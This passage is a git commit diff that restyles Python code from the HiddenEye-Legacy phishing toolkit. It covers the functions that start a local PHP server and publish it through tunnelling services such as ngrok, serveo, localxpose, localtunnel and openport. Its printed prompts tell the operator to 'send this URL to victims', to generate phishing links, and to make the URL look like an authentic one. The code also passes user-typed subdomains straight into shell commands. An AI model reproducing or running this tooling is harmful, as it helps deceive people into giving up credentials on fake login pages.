mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Restyled by yapf
This commit is contained in:
parent
d7b5c4727d
commit
92e13b077e
@ -91,9 +91,9 @@ def set_php(host="127.0.0.1", port=80):
|
|||||||
|
|
||||||
|
|
||||||
def set_port(port=80):
|
def set_port(port=80):
|
||||||
run_background_command(
|
run_background_command(["fuser", "-k", "{0}/tcp".format(port)],
|
||||||
["fuser", "-k", "{0}/tcp".format(port)], stdout=DEVNULL, stderr=DEVNULL
|
stdout=DEVNULL,
|
||||||
)
|
stderr=DEVNULL)
|
||||||
|
|
||||||
|
|
||||||
def start_server(port=80):
|
def start_server(port=80):
|
||||||
@ -129,10 +129,8 @@ def start_localhost(port):
|
|||||||
# && php -S {0}:{1} > /dev/null 2>&1 &".format(host, port))
|
# && php -S {0}:{1} > /dev/null 2>&1 &".format(host, port))
|
||||||
enter_server_www
|
enter_server_www
|
||||||
set_php(host, port)
|
set_php(host, port)
|
||||||
print(
|
print(localization.lang_start_localhost["starting_server_on_addr"] +
|
||||||
localization.lang_start_localhost["starting_server_on_addr"]
|
"{0}:{1}".format(host, port))
|
||||||
+ "{0}:{1}".format(host, port)
|
|
||||||
)
|
|
||||||
# wait(2)
|
# wait(2)
|
||||||
run_command("clear")
|
run_command("clear")
|
||||||
# print('''
|
# print('''
|
||||||
@ -151,10 +149,8 @@ def start_localhost(port):
|
|||||||
# print("-
|
# print("-
|
||||||
# ".format(default_palette[0], default_palette[2], default_palette[3], port, host))
|
# ".format(default_palette[0], default_palette[2], default_palette[3], port, host))
|
||||||
print(localization.lang_start_localhost["send_this_url_suggestion"])
|
print(localization.lang_start_localhost["send_this_url_suggestion"])
|
||||||
print(
|
print(localization.lang_start_localhost["localhost_url"] +
|
||||||
localization.lang_start_localhost["localhost_url"]
|
"{0}:{1}\n".format(host, port))
|
||||||
+ "{0}:{1}\n".format(host, port)
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
def start_ngrok(port):
|
def start_ngrok(port):
|
||||||
@ -194,16 +190,17 @@ def start_ngrok(port):
|
|||||||
ngrok_tunnels = ngrok.get_tunnels()
|
ngrok_tunnels = ngrok.get_tunnels()
|
||||||
url = ngrok_tunnels[0].public_url
|
url = ngrok_tunnels[0].public_url
|
||||||
# urlFile.close()
|
# urlFile.close()
|
||||||
if regular_expression.match("https://[0-9a-z]*\.ngrok.io", url) is not None:
|
if regular_expression.match("https://[0-9a-z]*\.ngrok.io",
|
||||||
|
url) is not None:
|
||||||
# print(\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
|
# print(\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
|
||||||
# \n{0}[{1}*{0}]{1} NGROK URL: {2}".format(
|
# \n{0}[{1}*{0}]{1} NGROK URL: {2}".format(
|
||||||
# default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))
|
# default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))
|
||||||
# print("\n")
|
# print("\n")
|
||||||
print(localization.lang_start_ngrok["send_this_url_suggestion"])
|
print(localization.lang_start_ngrok["send_this_url_suggestion"])
|
||||||
print(
|
print(localization.lang_start_localhost["localhost_url"] +
|
||||||
localization.lang_start_localhost["localhost_url"] + "127.0.0.1:" + port
|
"127.0.0.1:" + port)
|
||||||
)
|
print(localization.lang_start_ngrok["ngrok_url"] + url +
|
||||||
print(localization.lang_start_ngrok["ngrok_url"] + url + default_palette[4])
|
default_palette[4])
|
||||||
break
|
break
|
||||||
|
|
||||||
|
|
||||||
@ -251,9 +248,8 @@ def start_serveo(port):
|
|||||||
)
|
)
|
||||||
wait(8)
|
wait(8)
|
||||||
try:
|
try:
|
||||||
output = check_output(
|
output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url",
|
||||||
"grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True
|
shell=True)
|
||||||
)
|
|
||||||
url = output.decode("utf-8")
|
url = output.decode("utf-8")
|
||||||
# print("-\n
|
# print("-\n
|
||||||
# \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
|
# \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
|
||||||
@ -261,12 +257,10 @@ def start_serveo(port):
|
|||||||
# ".format(default_palette[0], default_palette[4], default_palette[3], port) + url + "{0}".format(default_palette[4]))
|
# ".format(default_palette[0], default_palette[4], default_palette[3], port) + url + "{0}".format(default_palette[4]))
|
||||||
# print("\n")
|
# print("\n")
|
||||||
print(localization.lang_start_serveo["send_this_url_suggestion"])
|
print(localization.lang_start_serveo["send_this_url_suggestion"])
|
||||||
print(
|
print(localization.lang_start_localhost["localhost_url"] +
|
||||||
localization.lang_start_localhost["localhost_url"] + "127.0.0.1:" + port
|
"127.0.0.1:" + port)
|
||||||
)
|
print(localization.lang_start_serveo["serveo_url"] + url +
|
||||||
print(
|
default_palette[4])
|
||||||
localization.lang_start_serveo["serveo_url"] + url + default_palette[4]
|
|
||||||
)
|
|
||||||
except CalledProcessError:
|
except CalledProcessError:
|
||||||
|
|
||||||
wait(4)
|
wait(4)
|
||||||
@ -290,7 +284,8 @@ def start_serveo(port):
|
|||||||
print(global_localization.by_darksec)
|
print(global_localization.by_darksec)
|
||||||
print(global_localization.line_of_dots)
|
print(global_localization.line_of_dots)
|
||||||
print(localization.lang_start_serveo["serveo_custom_server"])
|
print(localization.lang_start_serveo["serveo_custom_server"])
|
||||||
print(localization.lang_start_serveo["make_url_simmilar_to_real_suggestion"])
|
print(localization.
|
||||||
|
lang_start_serveo["make_url_simmilar_to_real_suggestion"])
|
||||||
print(localization.lang_start_serveo["insert_custom_subdomain"])
|
print(localization.lang_start_serveo["insert_custom_subdomain"])
|
||||||
|
|
||||||
lnk = input(global_localization.input_line)
|
lnk = input(global_localization.input_line)
|
||||||
@ -322,9 +317,8 @@ def start_serveo(port):
|
|||||||
)
|
)
|
||||||
wait(7)
|
wait(7)
|
||||||
try:
|
try:
|
||||||
output = check_output(
|
output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url",
|
||||||
"grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True
|
shell=True)
|
||||||
)
|
|
||||||
url = output.decode("utf-8")
|
url = output.decode("utf-8")
|
||||||
run_command("clear")
|
run_command("clear")
|
||||||
# print('''
|
# print('''
|
||||||
@ -344,12 +338,10 @@ def start_serveo(port):
|
|||||||
# \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
|
# \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
|
||||||
# \n{0}[{1}*{0}]{1} SERVEO URL: {2}".format(default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))
|
# \n{0}[{1}*{0}]{1} SERVEO URL: {2}".format(default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))
|
||||||
print(localization.lang_start_serveo["send_this_url_suggestion"])
|
print(localization.lang_start_serveo["send_this_url_suggestion"])
|
||||||
print(
|
print(localization.lang_start_localhost["localhost_url"] +
|
||||||
localization.lang_start_localhost["localhost_url"] + "127.0.0.1:" + port
|
"127.0.0.1:" + port)
|
||||||
)
|
print(localization.lang_start_serveo["serveo_url"] + url +
|
||||||
print(
|
default_palette[4])
|
||||||
localization.lang_start_serveo["serveo_url"] + url + default_palette[4]
|
|
||||||
)
|
|
||||||
|
|
||||||
print("\n")
|
print("\n")
|
||||||
|
|
||||||
@ -359,7 +351,8 @@ def start_serveo(port):
|
|||||||
# !! \n''')
|
# !! \n''')
|
||||||
print(localization.lang_start_serveo["failed_to_get_domain"])
|
print(localization.lang_start_serveo["failed_to_get_domain"])
|
||||||
print(localization.lang_start_serveo["suggestion_to_fix_issue"])
|
print(localization.lang_start_serveo["suggestion_to_fix_issue"])
|
||||||
print(localization.lang_start_serveo["you_can_try_to_select_other_domain"])
|
print(localization.
|
||||||
|
lang_start_serveo["you_can_try_to_select_other_domain"])
|
||||||
wait(4)
|
wait(4)
|
||||||
run_command("clear")
|
run_command("clear")
|
||||||
return custom(port)
|
return custom(port)
|
||||||
@ -409,16 +402,13 @@ def start_serveo(port):
|
|||||||
def start_localxpose(port):
|
def start_localxpose(port):
|
||||||
def random(port):
|
def random(port):
|
||||||
run_command("clear")
|
run_command("clear")
|
||||||
print(
|
print("""
|
||||||
"""
|
|
||||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||||
{0}http://github.com/darksecdevelopers
|
{0}http://github.com/darksecdevelopers
|
||||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ RANDOM LOCALXPOSE URL ]{1}!! {0}\n-------------------------------""".format(
|
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ RANDOM LOCALXPOSE URL ]{1}!! {0}\n-------------------------------"""
|
||||||
default_palette[1], default_palette[2]
|
.format(default_palette[1], default_palette[2]))
|
||||||
)
|
|
||||||
)
|
|
||||||
# run_command('./Server/loclx tunnel http --to :%s > link.url 2> /dev/null &' % (port))
|
# run_command('./Server/loclx tunnel http --to :%s > link.url 2> /dev/null &' % (port))
|
||||||
run_command(
|
run_command(
|
||||||
[
|
[
|
||||||
@ -435,20 +425,18 @@ def start_localxpose(port):
|
|||||||
)
|
)
|
||||||
wait(8)
|
wait(8)
|
||||||
try:
|
try:
|
||||||
output = check_output(
|
output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url",
|
||||||
"grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True
|
shell=True)
|
||||||
)
|
|
||||||
url = output.decode("utf-8")
|
url = output.decode("utf-8")
|
||||||
print(
|
print(
|
||||||
"\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO VICTIMS-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}{4}{1}".format(
|
"\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO VICTIMS-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}{4}{1}"
|
||||||
|
.format(
|
||||||
default_palette[0],
|
default_palette[0],
|
||||||
default_palette[4],
|
default_palette[4],
|
||||||
default_palette[3],
|
default_palette[3],
|
||||||
port,
|
port,
|
||||||
url,
|
url,
|
||||||
)
|
) + "{0}".format(default_palette[4]))
|
||||||
+ "{0}".format(default_palette[4])
|
|
||||||
)
|
|
||||||
print("\n")
|
print("\n")
|
||||||
except CalledProcessError:
|
except CalledProcessError:
|
||||||
|
|
||||||
@ -458,84 +446,61 @@ def start_localxpose(port):
|
|||||||
|
|
||||||
def custom(port):
|
def custom(port):
|
||||||
|
|
||||||
print(
|
print("""
|
||||||
"""
|
|
||||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||||
{0}http://github.com/darksecdevelopers
|
{0}http://github.com/darksecdevelopers
|
||||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)""".format(
|
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)"""
|
||||||
default_palette[0], default_palette[2]
|
.format(default_palette[0], default_palette[2]))
|
||||||
)
|
lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(
|
||||||
)
|
default_palette[0], default_palette[2]))
|
||||||
lnk = input(
|
|
||||||
"\n{0}CUSTOM Subdomain>>> {1}".format(
|
|
||||||
default_palette[0], default_palette[2]
|
|
||||||
)
|
|
||||||
)
|
|
||||||
run_command(
|
run_command(
|
||||||
"./Server/loclx tunnel http --to :%s --subdomain %s > link.url 2> /dev/null &"
|
"./Server/loclx tunnel http --to :%s --subdomain %s > link.url 2> /dev/null &"
|
||||||
% (port, lnk)
|
% (port, lnk))
|
||||||
)
|
|
||||||
wait(7)
|
wait(7)
|
||||||
try:
|
try:
|
||||||
output = check_output(
|
output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url",
|
||||||
"grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True
|
shell=True)
|
||||||
)
|
|
||||||
url = output.decode("utf-8")
|
url = output.decode("utf-8")
|
||||||
run_command("clear")
|
run_command("clear")
|
||||||
print(
|
print("""
|
||||||
"""
|
|
||||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||||
{0}http://github.com/darksecdevelopers
|
{0}http://github.com/darksecdevelopers
|
||||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------""".format(
|
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------"""
|
||||||
default_palette[0], default_palette[2]
|
.format(default_palette[0], default_palette[2]))
|
||||||
)
|
|
||||||
)
|
|
||||||
print(
|
print(
|
||||||
"\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO VICTIMS-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}".format(
|
"\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO VICTIMS-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}"
|
||||||
default_palette[0], default_palette[2], default_palette[3], port
|
.format(default_palette[0], default_palette[2],
|
||||||
)
|
default_palette[3], port) + url +
|
||||||
+ url
|
"{0}".format(default_palette[4]))
|
||||||
+ "{0}".format(default_palette[4])
|
|
||||||
)
|
|
||||||
print("\n")
|
print("\n")
|
||||||
|
|
||||||
except CalledProcessError:
|
except CalledProcessError:
|
||||||
print(
|
print(
|
||||||
"""\n\n{0}FAILED TO GET THIS DOMAIN. !!!\n\n{0}LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!!\n\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK).. !! \n""".format(
|
"""\n\n{0}FAILED TO GET THIS DOMAIN. !!!\n\n{0}LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!!\n\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK).. !! \n"""
|
||||||
default_palette[0], default_palette[4]
|
.format(default_palette[0], default_palette[4]))
|
||||||
)
|
|
||||||
)
|
|
||||||
wait(4)
|
wait(4)
|
||||||
run_command("clear")
|
run_command("clear")
|
||||||
return custom(port)
|
return custom(port)
|
||||||
|
|
||||||
print(
|
print("""
|
||||||
"""
|
|
||||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||||
{0}http://github.com/darksecdevelopers
|
{0}http://github.com/darksecdevelopers
|
||||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALXPOSE URL TYPE SELECTION ]{1}!! {0}\n-------------------------------\n""".format(
|
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALXPOSE URL TYPE SELECTION ]{1}!! {0}\n-------------------------------\n"""
|
||||||
default_palette[0], default_palette[2]
|
.format(default_palette[0], default_palette[2]))
|
||||||
)
|
|
||||||
)
|
|
||||||
print(
|
print(
|
||||||
"\n{0}[{1}*{0}]{0}CHOOSE ANY LOCALXPOSE URL TYPE TO GENERATE PHISHING LINK:{1}".format(
|
"\n{0}[{1}*{0}]{0}CHOOSE ANY LOCALXPOSE URL TYPE TO GENERATE PHISHING LINK:{1}"
|
||||||
default_palette[0], default_palette[2]
|
.format(default_palette[0], default_palette[2]))
|
||||||
)
|
|
||||||
)
|
|
||||||
print(
|
print(
|
||||||
"\n{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url) \n{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)".format(
|
"\n{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url) \n{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)"
|
||||||
default_palette[0], default_palette[2]
|
.format(default_palette[0], default_palette[2]))
|
||||||
)
|
choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0],
|
||||||
)
|
default_palette[2]))
|
||||||
choice = input(
|
|
||||||
"\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0], default_palette[2])
|
|
||||||
)
|
|
||||||
run_command("clear")
|
run_command("clear")
|
||||||
if choice == "1":
|
if choice == "1":
|
||||||
|
|
||||||
@ -549,75 +514,52 @@ def start_localxpose(port):
|
|||||||
|
|
||||||
def start_localtunnel(port, npm):
|
def start_localtunnel(port, npm):
|
||||||
run_command("clear")
|
run_command("clear")
|
||||||
print(
|
print("""
|
||||||
"""
|
|
||||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||||
{0}http://github.com/darksecdevelopers
|
{0}http://github.com/darksecdevelopers
|
||||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------""".format(
|
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------"""
|
||||||
default_palette[0], default_palette[2]
|
.format(default_palette[0], default_palette[2]))
|
||||||
)
|
print("\n{0}[{1}*{0}]{0}SELECT ANY URL TYPE TO GENERATE PHISHING LINK:{1}".
|
||||||
)
|
format(default_palette[0], default_palette[2]))
|
||||||
print(
|
print(
|
||||||
"\n{0}[{1}*{0}]{0}SELECT ANY URL TYPE TO GENERATE PHISHING LINK:{1}".format(
|
"\n{0}[{1}+{0}]{1}Type Subdomain for Custom URL. \n{0}[{1}+{0}]{1}Leave Empty For Random URL"
|
||||||
default_palette[0], default_palette[2]
|
.format(default_palette[0], default_palette[2]))
|
||||||
)
|
s = input("\n{0}(Localtunnel/Subdomain)> {1}".format(
|
||||||
)
|
default_palette[0], default_palette[2]))
|
||||||
print(
|
|
||||||
"\n{0}[{1}+{0}]{1}Type Subdomain for Custom URL. \n{0}[{1}+{0}]{1}Leave Empty For Random URL".format(
|
|
||||||
default_palette[0], default_palette[2]
|
|
||||||
)
|
|
||||||
)
|
|
||||||
s = input(
|
|
||||||
"\n{0}(Localtunnel/Subdomain)> {1}".format(
|
|
||||||
default_palette[0], default_palette[2]
|
|
||||||
)
|
|
||||||
)
|
|
||||||
try:
|
try:
|
||||||
run_command(
|
run_command("{0}lt -p ".format("" if npm else "Server/") + port +
|
||||||
"{0}lt -p ".format("" if npm else "Server/")
|
((" -s " + s) if s != "" else s) + " > link.url &")
|
||||||
+ port
|
|
||||||
+ ((" -s " + s) if s != "" else s)
|
|
||||||
+ " > link.url &"
|
|
||||||
)
|
|
||||||
wait(3)
|
wait(3)
|
||||||
run_command("clear")
|
run_command("clear")
|
||||||
print(
|
print("""
|
||||||
"""
|
|
||||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||||
{0}http://github.com/darksecdevelopers
|
{0}http://github.com/darksecdevelopers
|
||||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------""".format(
|
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------"""
|
||||||
default_palette[0], default_palette[2]
|
.format(default_palette[0], default_palette[2]))
|
||||||
)
|
|
||||||
)
|
|
||||||
print(
|
print(
|
||||||
"\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALTUNNEL URL: {2}{4}".format(
|
"\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALTUNNEL URL: {2}{4}"
|
||||||
|
.format(
|
||||||
default_palette[0],
|
default_palette[0],
|
||||||
default_palette[2],
|
default_palette[2],
|
||||||
default_palette[3],
|
default_palette[3],
|
||||||
port,
|
port,
|
||||||
str(
|
str(
|
||||||
check_output(
|
check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url",
|
||||||
"grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True
|
shell=True)).strip("b ' \ n r"),
|
||||||
)
|
))
|
||||||
).strip("b ' \ n r"),
|
|
||||||
)
|
|
||||||
)
|
|
||||||
except CalledProcessError:
|
except CalledProcessError:
|
||||||
run_command("clear")
|
run_command("clear")
|
||||||
print(
|
print("""
|
||||||
"""
|
|
||||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||||
{0}http://github.com/darksecdevelopers
|
{0}http://github.com/darksecdevelopers
|
||||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------""".format(
|
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------"""
|
||||||
default_palette[0], default_palette[2]
|
.format(default_palette[0], default_palette[2]))
|
||||||
)
|
|
||||||
)
|
|
||||||
print("{0}error[invalid/preoccupied]{0}".format(default_palette[0]))
|
print("{0}error[invalid/preoccupied]{0}".format(default_palette[0]))
|
||||||
start_localtunnel(port, npm)
|
start_localtunnel(port, npm)
|
||||||
|
|
||||||
@ -629,95 +571,68 @@ def start_openport(port):
|
|||||||
run_command("rm output.txt > /dev/null 2>&1")
|
run_command("rm output.txt > /dev/null 2>&1")
|
||||||
run_command("openport -K && openport %s > output.txt &" % (port))
|
run_command("openport -K && openport %s > output.txt &" % (port))
|
||||||
print(
|
print(
|
||||||
"{0}[{1}*{0}] {1}Openport Server Running in Background.. Please wait.".format(
|
"{0}[{1}*{0}] {1}Openport Server Running in Background.. Please wait."
|
||||||
default_palette[0], default_palette[4]
|
.format(default_palette[0], default_palette[4]))
|
||||||
)
|
|
||||||
)
|
|
||||||
# Sleep time is important as the openport command takes some time to give response link.
|
# Sleep time is important as the openport command takes some time to give response link.
|
||||||
wait(20)
|
wait(20)
|
||||||
run_command(
|
run_command(
|
||||||
'cat output.txt | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep -v https://openport.io/user > openport.txt'
|
'cat output.txt | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep -v https://openport.io/user > openport.txt'
|
||||||
) # Taking out the neccesary verification link from output txt file of openport (above).
|
) # Taking out the neccesary verification link from output txt file of openport (above).
|
||||||
print(
|
print(
|
||||||
"{0}[{1}*{0}] {1}Working To Get OpenPort Tunnel Activation Link...".format(
|
"{0}[{1}*{0}] {1}Working To Get OpenPort Tunnel Activation Link..."
|
||||||
default_palette[0], default_palette[4]
|
.format(default_palette[0], default_palette[4]))
|
||||||
)
|
|
||||||
)
|
|
||||||
with open("openport.txt") as f:
|
with open("openport.txt") as f:
|
||||||
read_data = f.read()
|
read_data = f.read()
|
||||||
if "openport.io/l/" in read_data:
|
if "openport.io/l/" in read_data:
|
||||||
print(
|
print("{0}[{1}*{0}] {1}Got Activation Link...".format(
|
||||||
"{0}[{1}*{0}] {1}Got Activation Link...".format(
|
default_palette[0], default_palette[4]))
|
||||||
default_palette[0], default_palette[4]
|
|
||||||
)
|
|
||||||
)
|
|
||||||
else:
|
else:
|
||||||
print(
|
print(
|
||||||
"{0}[{1}^{0}] {1}Failed To Get Openport Activation Link... ".format(
|
"{0}[{1}^{0}] {1}Failed To Get Openport Activation Link... "
|
||||||
default_palette[0], default_palette[4]
|
.format(default_palette[0], default_palette[4]))
|
||||||
)
|
|
||||||
)
|
|
||||||
output = open("output.txt", "r")
|
output = open("output.txt", "r")
|
||||||
output = output.read()
|
output = output.read()
|
||||||
print(
|
print("{0}[{1}!{0}] {1}Openport Error:\n\n{2}".format(
|
||||||
"{0}[{1}!{0}] {1}Openport Error:\n\n{2}".format(
|
default_palette[0], default_palette[4], output))
|
||||||
default_palette[0], default_palette[4], output
|
input("\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)".
|
||||||
)
|
format(default_palette[0], default_palette[4]))
|
||||||
)
|
|
||||||
input(
|
|
||||||
"\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)".format(
|
|
||||||
default_palette[0], default_palette[4]
|
|
||||||
)
|
|
||||||
)
|
|
||||||
server_selection(port)
|
server_selection(port)
|
||||||
|
|
||||||
urlFile = open("openport.txt", "r")
|
urlFile = open("openport.txt", "r")
|
||||||
urltoverify = urlFile.read().strip()
|
urltoverify = urlFile.read().strip()
|
||||||
print(
|
print(
|
||||||
"{0}[{1}*{0}] {1}Open This Activation Link From Browser to Get Tunnel Link...\n".format(
|
"{0}[{1}*{0}] {1}Open This Activation Link From Browser to Get Tunnel Link...\n"
|
||||||
default_palette[0], default_palette[4]
|
.format(default_palette[0], default_palette[4]))
|
||||||
)
|
print("{0}[{1}*{0}] {1}Tunnel Activation Link:{0}{2} ".format(
|
||||||
)
|
default_palette[0], default_palette[4], urltoverify))
|
||||||
print(
|
|
||||||
"{0}[{1}*{0}] {1}Tunnel Activation Link:{0}{2} ".format(
|
|
||||||
default_palette[0], default_palette[4], urltoverify
|
|
||||||
)
|
|
||||||
)
|
|
||||||
url = input(
|
url = input(
|
||||||
"\n\n{0}[{1}*{0}] {1}Enter The Tunnel Link Found in Browser: {0} ".format(
|
"\n\n{0}[{1}*{0}] {1}Enter The Tunnel Link Found in Browser: {0} ".
|
||||||
default_palette[0], default_palette[4]
|
format(default_palette[0], default_palette[4]))
|
||||||
)
|
|
||||||
)
|
|
||||||
wait(4)
|
wait(4)
|
||||||
run_command("clear")
|
run_command("clear")
|
||||||
print(
|
print("""
|
||||||
"""
|
|
||||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||||
{0}http://github.com/darksecdevelopers
|
{0}http://github.com/darksecdevelopers
|
||||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------""".format(
|
